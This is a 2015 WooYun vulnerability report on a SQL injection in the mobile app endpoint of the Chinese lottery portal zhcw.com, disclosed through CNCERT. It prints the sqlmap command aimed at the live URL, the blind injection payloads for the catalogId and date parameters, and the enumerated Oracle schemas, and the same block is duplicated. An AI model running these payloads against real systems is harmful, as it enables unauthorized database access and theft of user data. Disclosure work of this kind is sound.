当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111353

漏洞标题:中彩网APP端SQL注入,涉及多个数据库#1

相关厂商:中彩网

漏洞作者: #6c6c6c

提交时间:2015-05-12 11:21

修复时间:2015-06-29 17:52

公开时间:2015-06-29 17:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-12: 细节已通知厂商并且等待厂商处理中
2015-05-15: 厂商已经确认,细节仅向厂商公开
2015-05-25: 细节向核心白帽子及相关领域专家公开
2015-06-04: 细节向普通白帽子公开
2015-06-14: 细节向实习白帽子公开
2015-06-29: 细节向公众公开

简要描述:

中彩网是“中国福利采彡PIAO发行管理中心”指定的唯一网络信息发布媒体。自1999年成立至今,经过6年多的倾力打造,中彩网已经成为全球排名第一、拥有绝对领先的访问量和用户群体的中文采彡PIAO行业垂直门户网站。

详细说明:

F:\Python26\sqlmap>sqlmap.py -u "http://app.zhcw.com/wwwroot/zhcw/jsp/gglPK.jsp?
catalogId=38719&date=" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:41:20
[19:41:20] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
[19:41:20] [INFO] resuming back-end DBMS 'oracle'
[19:41:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: catalogId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catalogId=38719' AND 4537=4537 AND 'vDjF'='vDjF&date=
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: catalogId=38719' AND 9649=DBMS_PIPE.RECEIVE_MESSAGE(CHR(86)||CHR(79
)||CHR(121)||CHR(100),5) AND 'yBbr'='yBbr&date=
Place: GET
Parameter: date
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catalogId=38719&date=%' AND 3726=3726 AND '%'='
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: date, type: Single quoted string (default)
[1] place: GET, parameter: catalogId, type: Single quoted string
[q] Quit
>
[19:41:22] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[19:41:22] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[19:41:22] [INFO] fetching database (schema) names
[19:41:22] [INFO] fetching number of databases
[19:41:22] [INFO] resumed: 15
[19:41:22] [INFO] resumed: CTXSYS
[19:41:22] [INFO] resumed: DBSNMP
[19:41:22] [INFO] resumed: DMSYS
[19:41:22] [INFO] resumed: EXFSYS
[19:41:22] [INFO] resumed: MDSYS
[19:41:22] [INFO] resuming partial value: OLAPSY
[19:41:22] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[19:41:22] [INFO] retrieved: S
[19:41:29] [INFO] retrieved: ORDSYS
[19:41:55] [INFO] retrieved: OUTLN
[19:42:19] [INFO] retrieved: SYS
[19:42:33] [INFO] retrieved: SYSMAN
[19:42:58] [INFO] retrieved: SYSTEM
[19:43:24] [INFO] retrieved: TSMSYS
[19:43:49] [INFO] retrieved: WMSYS
[19:44:11] [INFO] retrieved: XDB
[19:44:28] [INFO] retrieved: ZHCWTEST
available databases [15]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZHCWTEST
[19:44:58] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\app.zhcw.com'
[*] shutting down at 19:44:58


app.png


这么多表我眼睛已经花了。。。我猜测应该有整个网站的会员数据。

漏洞证明:

F:\Python26\sqlmap>sqlmap.py -u "http://app.zhcw.com/wwwroot/zhcw/jsp/gglPK.jsp?
catalogId=38719&date=" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:41:20
[19:41:20] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
[19:41:20] [INFO] resuming back-end DBMS 'oracle'
[19:41:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: catalogId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catalogId=38719' AND 4537=4537 AND 'vDjF'='vDjF&date=
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: catalogId=38719' AND 9649=DBMS_PIPE.RECEIVE_MESSAGE(CHR(86)||CHR(79
)||CHR(121)||CHR(100),5) AND 'yBbr'='yBbr&date=
Place: GET
Parameter: date
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catalogId=38719&date=%' AND 3726=3726 AND '%'='
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: date, type: Single quoted string (default)
[1] place: GET, parameter: catalogId, type: Single quoted string
[q] Quit
>
[19:41:22] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[19:41:22] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[19:41:22] [INFO] fetching database (schema) names
[19:41:22] [INFO] fetching number of databases
[19:41:22] [INFO] resumed: 15
[19:41:22] [INFO] resumed: CTXSYS
[19:41:22] [INFO] resumed: DBSNMP
[19:41:22] [INFO] resumed: DMSYS
[19:41:22] [INFO] resumed: EXFSYS
[19:41:22] [INFO] resumed: MDSYS
[19:41:22] [INFO] resuming partial value: OLAPSY
[19:41:22] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[19:41:22] [INFO] retrieved: S
[19:41:29] [INFO] retrieved: ORDSYS
[19:41:55] [INFO] retrieved: OUTLN
[19:42:19] [INFO] retrieved: SYS
[19:42:33] [INFO] retrieved: SYSMAN
[19:42:58] [INFO] retrieved: SYSTEM
[19:43:24] [INFO] retrieved: TSMSYS
[19:43:49] [INFO] retrieved: WMSYS
[19:44:11] [INFO] retrieved: XDB
[19:44:28] [INFO] retrieved: ZHCWTEST
available databases [15]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZHCWTEST
[19:44:58] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\app.zhcw.com'
[*] shutting down at 19:44:58


app.png


这么多表我眼睛已经花了。。。我猜测应该有整个网站的会员数据。

修复方案:

过滤啊!!

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-15 17:51

厂商回复:

暂未能建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无